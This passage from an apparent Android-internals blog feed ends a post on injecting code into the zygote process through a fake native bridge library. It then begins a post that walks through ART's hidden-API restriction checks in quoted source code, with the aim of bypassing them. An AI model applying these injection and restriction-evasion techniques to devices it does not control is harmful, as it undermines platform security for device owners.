class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// The policy of invoking Nativebridge changed in v3 with/without namespace.</span></span><br><span class="line"><span class="comment">// Suggest Nativebridge implementation not maintain backward-compatible.</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">isCompatibleWith</span><span class="params">(<span class="keyword">const</span> <span class="keyword">uint32_t</span> version)</span> </span>{</span><br><span class="line"> <span class="comment">// Libnativebridge is now designed to be forward-compatible. So only "0" is an unsupported</span></span><br><span class="line"> <span class="comment">// version.</span></span><br><span class="line"> <span class="keyword">if</span> (callbacks == <span class="literal">nullptr</span> || callbacks->version == <span class="number">0</span> || version == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// If this is a v2+ bridge, it may not be forwards- or backwards-compatible. Check.</span></span><br><span class="line"> <span class="keyword">if</span> (callbacks->version >= SIGNAL_VERSION) {</span><br><span class="line"> <span class="keyword">return</span> callbacks->isCompatibleWith(version);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>是通过<code>callbacks->version</code>和<code>callbacks->isCompatibleWith</code>这个函数指针判断的。<br>那我们需要在系统没有native bridge时设置一下这些东西。(如果系统有native bridge那么在上面<code>NativeBridgeItf</code>就已经被覆盖了)<br>你需要把callbacks里面的东西都设置一下,以免发生其他问题;还好还好,那些函数只需要写个空实现就行,需要注意的是版本,比如5.0就只接受v1版本的native bridge,而7.0时只接受v3及以上版本。</p><p>把这些设置好了以后,你的so库能成功驻留在zygote进程的内存中了;然而,你在应用进程中找不到这个so库,这是因为新进程fork出来以后,如果不需要native bridge,系统会卸载它:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">ZygoteHooks_nativePostForkChild</span><span class="params">(JNIEnv* env,</span></span></span><br><span class="line"><span class="function"><span class="params"> jclass,</span></span></span><br><span class="line"><span class="function"><span class="params"> jlong token,</span></span></span><br><span class="line"><span class="function"><span class="params"> jint runtime_flags,</span></span></span><br><span class="line"><span class="function"><span class="params"> jboolean is_system_server,</span></span></span><br><span class="line"><span class="function"><span class="params"> jboolean is_zygote,</span></span></span><br><span class="line"><span class="function"><span class="params"> jstring instruction_set)</span> </span>{</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> <span class="keyword">if</span> (instruction_set != <span class="literal">nullptr</span> && !is_system_server) {</span><br><span class="line"> <span class="function">ScopedUtfChars <span class="title">isa_string</span><span class="params">(env, instruction_set)</span></span>;</span><br><span class="line"> InstructionSet isa = GetInstructionSetFromString(isa_string.c_str());</span><br><span class="line"> Runtime::NativeBridgeAction action = Runtime::NativeBridgeAction::kUnload;</span><br><span class="line"> <span class="keyword">if</span> (isa != InstructionSet::kNone && isa != kRuntimeISA) {</span><br><span class="line"> action = Runtime::NativeBridgeAction::kInitialize;</span><br><span class="line"> }</span><br><span class="line"> runtime->InitNonZygoteOrPostFork(env, is_system_server, is_zygote, action, isa_string.c_str());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> runtime->InitNonZygoteOrPostFork(</span><br><span class="line"> env,</span><br><span class="line"> is_system_server,</span><br><span class="line"> is_zygote,</span><br><span class="line"> Runtime::NativeBridgeAction::kUnload,</span><br><span class="line"> <span class="comment">/*isa=*/</span> <span class="literal">nullptr</span>,</span><br><span class="line"> profile_system_server);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">void</span> Runtime::InitNonZygoteOrPostFork(</span><br><span class="line"> JNIEnv* env,</span><br><span class="line"> <span class="keyword">bool</span> is_system_server,</span><br><span class="line"> <span class="comment">// This is true when we are initializing a child-zygote. It requires</span></span><br><span class="line"> <span class="comment">// native bridge initialization to be able to run guest native code in</span></span><br><span class="line"> <span class="comment">// doPreload().</span></span><br><span class="line"> <span class="keyword">bool</span> is_child_zygote,</span><br><span class="line"> NativeBridgeAction action,</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* isa,</span><br><span class="line"> <span class="keyword">bool</span> profile_system_server) {</span><br><span class="line"> <span class="keyword">if</span> (is_native_bridge_loaded_) {</span><br><span class="line"> <span class="keyword">switch</span> (action) {</span><br><span class="line"> <span class="keyword">case</span> NativeBridgeAction::kUnload:</span><br><span class="line"> UnloadNativeBridge();</span><br><span class="line"> is_native_bridge_loaded_ = <span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> NativeBridgeAction::kInitialize:</span><br><span class="line"> InitializeNativeBridge(env, isa);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个过程我们很难干预,然而其实我们可以换个思路:既然系统要卸载这个so库,那我们就让它卸载;我们已经可以在zygote里执行任意代码了,那么写个新so库把主要逻辑放里面,在这个假的native bridge里dlopen()这个新库,假的native bridge直接当个loader不就好了嘛!而且这样的话实际上我们不用实现那堆函数,只需要把version设置成一个无效的值(比如0),这样系统检测到版本无效就会自动关闭我们的假native bridge库,也不用担心那些回调函数会被调用~</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>利用native bridge可以实现比较简单的zygote注入,实际用起来需要费点功夫,不过都是体力活,比如每个版本中<code>NativeBridgeCallbacks</code>这个结构体的大小之类的;以后可能会把这东西应用在我的Dreamland上。<br>文末再放一下示例代码链接:<a href="https://github.com/canyie/NbInjection" target="_blank" rel="noopener">NbInjection</a><br><a href="https://shang.qq.com/wpa/qunwpa?idkey=25549719b948d2aaeb9e579955e39d71768111844b370fcb824d43b9b20e1c04" target="_blank" rel="noopener">QQ群:949888394</a>,欢迎一起来玩~<br>文章可能有疏漏,也可能有更好的办法;欢迎交流讨论~</p>]]></content>
<summary type="html">
<p>之前研究art的时候发现了native bridge,简单来说这东西是主要作用就是为了能运行不同指令集的so(比如x86的设备运行arm的app),而arm设备上这个东西一般都是关闭的,研究了一下后发现这东西挺适合动手脚的,刚好自己在用的<a href="https://github.com/RikkaApps/Riru" target="_blank" rel="noopener">Riru</a>被针对了,所以有了这篇博客。把对应的示例代码传到了github:<a href="https://github.com/canyie/NbInjection" target="_blank" rel="noopener">NbInjection</a>,接下来我们聊一下这个小玩具。</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="注入" scheme="https://blog.canyie.top/tags/%E6%B3%A8%E5%85%A5/"/>
</entry>
<entry>
<title>Android R上的隐藏API限制学习笔记</title>
<link href="https://blog.canyie.top/2020/06/10/hiddenapi-restriction-policy-on-android-r/"/>
<id>https://blog.canyie.top/2020/06/10/hiddenapi-restriction-policy-on-android-r/</id>
<published>2020-06-10T02:00:00.000Z</published>
<updated>2021-04-10T05:39:39.074Z</updated>
<content type="html"><![CDATA[<p>2018年发布的Android 9中引入了<a href="https://developer.android.google.cn/distribute/best-practices/develop/restrictions-non-sdk-interfaces" target="_blank" rel="noopener">对隐藏API的限制</a>,这对整个Android生态来说当然是一件好事,但也严重限制了以往我们通过反射等手段实现的“黑科技”(如插件化等),所以开发者们纷纷寻找手段绕过这个限制,比如我曾经提出了两个绕过方法,其中一个便是几乎完美的<a href="https://zhuanlan.zhihu.com/p/59455212" target="_blank" rel="noopener">双重反射(即“元反射”,现在来看叫“套娃反射”比较好)</a>;而在即将发布的Android R中把这个方法封杀了<del>(谷歌:禁止套娃!)</del>,因此我重新研究了Android R中的限制策略。</p><a id="more"></a><p>2021/4/10 更新:<br>本文存在纰漏,请看<a href="https://lovesykun.cn/archives/android-hidden-api-bypass.html" target="_blank" rel="noopener">一个通用的纯 Java 安卓隐藏 API 限制绕过方案</a></p><h2 id="上有政策"><a href="#上有政策" class="headerlink" title="上有政策"></a>上有政策</h2><p>常言道,知己知彼,百战百胜。要想破解这个限制,就必须去搞懂系统是怎么施加的限制;ok,废话不多说,let’s go!<br>以我们在Java层通过反射获取一个Method为例,<code>Class.getMethod/getDeclaredMethod</code>最终都会进入一个native方法<code>getDeclaredMethodInternal</code>,这个方法的实现如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> jobject <span class="title">Class_getDeclaredMethodInternal</span><span class="params">(JNIEnv* env, jobject javaThis, jstring name, jobjectArray args)</span> </span>{</span><br><span class="line"> <span class="comment">// 省略无关代码……</span></span><br><span class="line"> Handle<mirror::Method> result = hs.NewHandle(</span><br><span class="line"> mirror::Class::GetDeclaredMethodInternal<kRuntimePointerSize>(</span><br><span class="line"> soa.Self(),</span><br><span class="line"> klass,</span><br><span class="line"> soa.Decode<mirror::String>(name),</span><br><span class="line"> soa.Decode<mirror::ObjectArray<mirror::Class>>(args),</span><br><span class="line"> GetHiddenapiAccessContextFunction(soa.Self())));</span><br><span class="line"> <span class="keyword">if</span> (result == <span class="literal">nullptr</span> || ShouldDenyAccessToMember(result->GetArtMethod(), soa.Self())) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> soa.AddLocalReference<jobject>(result.Get());</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们可以发现,如果ShouldDenyAccessToMember返回true,那么就会返回null,上层就会抛出方法找不到的异常。这里和Android P没什么不同,只是把ShouldBlockAccessToMember改了个名而已。<br>ShouldDenyAccessToMember会调用到<code>hiddenapi::ShouldDenyAccessToMember</code>,该函数是这样实现的:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">inline</span> <span class="keyword">bool</span> <span class="title">ShouldDenyAccessToMember</span><span class="params">(T* member,</span></span></span><br><span class="line"><span class="function"><span class="params"> <span class="keyword">const</span> <span class="built_in">std</span>::function<AccessContext()>& fn_get_access_context,</span></span></span><br><span class="line"><span class="function"><span class="params"> AccessMethod access_method)</span></span></span><br><span class="line"><span class="function"> <span class="title">REQUIRES_SHARED</span><span class="params">(Locks::mutator_lock_)</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">uint32_t</span> runtime_flags = GetRuntimeFlags(member);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 1:如果该成员是公开API,直接通过</span></span><br><span class="line"> <span class="keyword">if</span> ((runtime_flags & kAccPublicApi) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 2:不是公开API(即为隐藏API),获取调用者和被访问成员的Domain</span></span><br><span class="line"> <span class="comment">// 因为获取调用者需要回溯调用栈,性能非常差,所以尽量避免这个消耗</span></span><br><span class="line"> <span class="keyword">const</span> AccessContext caller_context = fn_get_access_context();</span><br><span class="line"> <span class="function"><span class="keyword">const</span> AccessContext <span class="title">callee_context</span><span class="params">(member->GetDeclaringClass())</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 3:如果调用者是可信的,直接返回</span></span><br><span class="line"> <span class="keyword">if</span> (caller_context.CanAlwaysAccess(callee_context)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 4:非可信调用者尝试访问隐藏API,根据调用者的Domain决定行为</span></span><br><span class="line"> <span class="keyword">switch</span> (caller_context.GetDomain()) {</span><br><span class="line"> <span class="keyword">case</span> Domain::kApplication: {</span><br><span class="line"> DCHECK(!callee_context.IsApplicationDomain());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 如果访问检查被完全禁用,那么直接返回</span></span><br><span class="line"> EnforcementPolicy policy = Runtime::Current()->GetHiddenApiEnforcementPolicy();</span><br><span class="line"> <span class="keyword">if</span> (policy == EnforcementPolicy::kDisabled) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 5:调用detail::ShouldDenyAccessToMemberImpl,决定是否需要拒绝访问</span></span><br><span class="line"> <span class="keyword">return</span> detail::ShouldDenyAccessToMemberImpl(member, api_list, access_method);</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 省略</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这个函数还是比较长的,我们一步步分析。</p><ol><li>判断目标成员是否是公开API,如果是那么直接通过,具体可以看见是通过<code>GetRuntimeFlags</code>获取,这个flags其实是储存在该成员的<code>access_flags_</code>中(其实这里不太完全,暂且这么认为吧)</li><li>获取调用者的Domain,判断是否可信,如果可信直接通过</li><li>以上条件都不满足,根据Domain走不同的实现,我们应用的代码对应的Domain是kApplication,主要看第一个case就行。</li></ol><p>第二步中获取调用者的函数中核心部分如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">VisitFrame</span><span class="params">()</span> override <span class="title">REQUIRES_SHARED</span><span class="params">(Locks::mutator_lock_)</span> </span>{</span><br><span class="line"> ArtMethod *m = GetMethod();</span><br><span class="line"> <span class="keyword">if</span> (m == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="comment">// Attached native thread. Assume this is *not* boot class path.</span></span><br><span class="line"> caller = <span class="literal">nullptr</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (m->IsRuntimeMethod()) {</span><br><span class="line"> <span class="comment">// 跳过 ART Runtime 内部方法</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> ObjPtr<mirror::Class> declaring_class = m->GetDeclaringClass();</span><br><span class="line"> <span class="keyword">if</span> (declaring_class->IsBootStrapClassLoaded()) {</span><br><span class="line"> <span class="comment">// 跳过 java.lang.Class 中的内部方法</span></span><br><span class="line"> <span class="keyword">if</span> (declaring_class->IsClassClass()) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 跳过 java.lang.invoke.* </span></span><br><span class="line"> ObjPtr<mirror::Class> lookup_class = GetClassRoot<mirror::MethodHandlesLookup>();</span><br><span class="line"> <span class="keyword">if</span> ((declaring_class == lookup_class || declaring_class->IsInSamePackage(lookup_class))</span><br><span class="line"> && !m->IsClassInitializer()) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 如果PREVENT_META_REFLECTION_BLACKLIST_ACCESS为Enabled,跳过来自 java.lang.reflect.* 的访问</span></span><br><span class="line"> <span class="comment">// 系统对“套娃反射”的限制的关键就在此</span></span><br><span class="line"> ObjPtr<mirror::Class> proxy_class = GetClassRoot<mirror::Proxy>();</span><br><span class="line"> <span class="keyword">if</span> (declaring_class->IsInSamePackage(proxy_class) && declaring_class != proxy_class) {</span><br><span class="line"> <span class="keyword">if</span> (Runtime::Current()->isChangeEnabled(kPreventMetaReflectionBlacklistAccess)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> caller = m;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>根据caller选择Domain:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> Domain <span class="title">ComputeDomain</span><span class="params">(ObjPtr<mirror::ClassLoader> class_loader, <span class="keyword">const</span> DexFile* dex_file)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (dex_file == <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="comment">// dex_file == nullptr && class_loader == nullptr(即被BootClassLoader加载的类),那么可信</span></span><br><span class="line"> <span class="keyword">return</span> ComputeDomain(<span class="comment">/* is_trusted= */</span> class_loader.IsNull());</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">// 获取dex_file的Domain</span></span><br><span class="line"> <span class="keyword">return</span> dex_file->GetHiddenapiDomain();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> Domain <span class="title">ComputeDomain</span><span class="params">(ObjPtr<mirror::Class> klass, <span class="keyword">const</span> DexFile* dex_file)</span></span></span><br><span class="line"><span class="function"> <span class="title">REQUIRES_SHARED</span><span class="params">(Locks::mutator_lock_)</span> </span>{</span><br><span class="line"></span><br><span class="line"> Domain domain = ComputeDomain(klass->GetClassLoader(), dex_file);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (domain == Domain::kApplication && klass->ShouldSkipHiddenApiChecks() && Runtime::Current()->IsJavaDebuggable()) {</span><br><span class="line"> <span class="comment">// debug mode下开发者可以主动指定某类可信,用于调试</span></span><br><span class="line"> domain = ComputeDomain(<span class="comment">/* is_trusted= */</span> <span class="literal">true</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> domain;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>dex_file的Domain在第一次加载Class时被初始化(注:Android 8时就已经不允许一个DexFile同时加载多个ClassLoader了):</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> Domain <span class="title">DetermineDomainFromLocation</span><span class="params">(<span class="keyword">const</span> <span class="built_in">std</span>::<span class="built_in">string</span>& dex_location,</span></span></span><br><span class="line"><span class="function"><span class="params"> ObjPtr<mirror::ClassLoader> class_loader)</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (ArtModuleRootDistinctFromAndroidRoot()) {</span><br><span class="line"> <span class="comment">// 在几个核心apex module内</span></span><br><span class="line"> <span class="keyword">if</span> (LocationIsOnArtModule(dex_location.c_str()) </span><br><span class="line"> || LocationIsOnConscryptModule(dex_location.c_str()) </span><br><span class="line"> || LocationIsOnI18nModule(dex_location.c_str())) {</span><br><span class="line"> <span class="keyword">return</span> Domain::kCorePlatform;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 在apex下但是不是核心module</span></span><br><span class="line"> <span class="keyword">if</span> (LocationIsOnApex(dex_location.c_str())) {</span><br><span class="line"> <span class="keyword">return</span> Domain::kPlatform;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 在/system/framework/下</span></span><br><span class="line"> <span class="keyword">if</span> (LocationIsOnSystemFramework(dex_location.c_str())) {</span><br><span class="line"> <span class="keyword">return</span> Domain::kPlatform;</span><br><span class="line"> } </span><br><span class="line"></span><br><span class="line"> <span class="comment">// 在/system/ext/framework/下</span></span><br><span class="line"> <span class="keyword">if</span> (LocationIsOnSystemExtFramework(dex_location.c_str())) {</span><br><span class="line"> <span class="keyword">return</span> Domain::kPlatform;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ClassLoader是null(即BootClassLoader)</span></span><br><span class="line"> <span class="keyword">if</span> (class_loader.IsNull()) {</span><br><span class="line"> LOG(WARNING) << <span class="string">"DexFile "</span> << dex_location << <span class="string">" is in boot class path but is not in a known location"</span>;</span><br><span class="line"> <span class="keyword">return</span> Domain::kPlatform;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> Domain::kApplication;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>值得注意的是Android Q中细分出了三个Domain:kCorePlatform、kPlatform、kApplication,同时对kPlatform访问kCorePlatform的情况也做出了一定限制:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> Domain::kPlatform: {</span><br><span class="line"> DCHECK(callee_context.GetDomain() == Domain::kCorePlatform);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 如果是需要暴露出来的Core Platform API,通过</span></span><br><span class="line"> <span class="keyword">if</span> ((runtime_flags & kAccCorePlatformApi) != <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 完全关闭访问限制,通过</span></span><br><span class="line"> <span class="comment">// Android Q中默认是关闭,R中不知道</span></span><br><span class="line"> EnforcementPolicy policy = Runtime::Current()->GetCorePlatformApiEnforcementPolicy();</span><br><span class="line"> <span class="keyword">if</span> (policy == EnforcementPolicy::kDisabled) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> detail::HandleCorePlatformApiViolation(member, caller_context, access_method, policy);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>Q中默认是关闭这个功能,R中不知道;这部分简单了解一下就好,主要还是关注kApplication即应用代码访问系统API的情况。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">template</span><<span class="keyword">typename</span> T></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">ShouldDenyAccessToMemberImpl</span><span class="params">(T* member, ApiList api_list, AccessMethod access_method)</span> </span>{</span><br><span class="line"> Runtime* runtime = Runtime::Current();</span><br><span class="line"></span><br><span class="line"> EnforcementPolicy hiddenApiPolicy = runtime->GetHiddenApiEnforcementPolicy();</span><br><span class="line"></span><br><span class="line"> <span class="function">MemberSignature <span class="title">member_signature</span><span class="params">(member)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ART内部存在一个豁免名单,如果匹配,那么通过</span></span><br><span class="line"> <span class="keyword">if</span> (member_signature.DoesPrefixMatchAny(runtime->GetHiddenApiExemptions())) {</span><br><span class="line"> MaybeUpdateAccessFlags(runtime, member, kAccPublicApi);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">bool</span> deny_access = <span class="literal">false</span>;</span><br><span class="line"> </span><br><span class="line"> EnforcementPolicy testApiPolicy = runtime->GetTestApiEnforcementPolicy();</span><br><span class="line"> <span class="comment">// 如果hiddenApiPolicy == EnforcementPolicy::kJustWarn,那么不作处理(EnforcementPolicy只有三种状态)</span></span><br><span class="line"> <span class="keyword">if</span> (hiddenApiPolicy == EnforcementPolicy::kEnabled) {</span><br><span class="line"> <span class="keyword">if</span> (testApiPolicy == EnforcementPolicy::kDisabled && api_list.IsTestApi()) {</span><br><span class="line"> <span class="comment">// ART内部对测试API(即有@TestApi注解的API)的特别处理</span></span><br><span class="line"> deny_access = <span class="literal">false</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 比较SdkVersion,决定是否需要拒绝访问</span></span><br><span class="line"> <span class="comment">// 所谓的 灰名单/黑名单 便在此实现</span></span><br><span class="line"> <span class="keyword">switch</span> (api_list.GetMaxAllowedSdkVersion()) {</span><br><span class="line"> <span class="keyword">case</span> SdkVersion::kP:</span><br><span 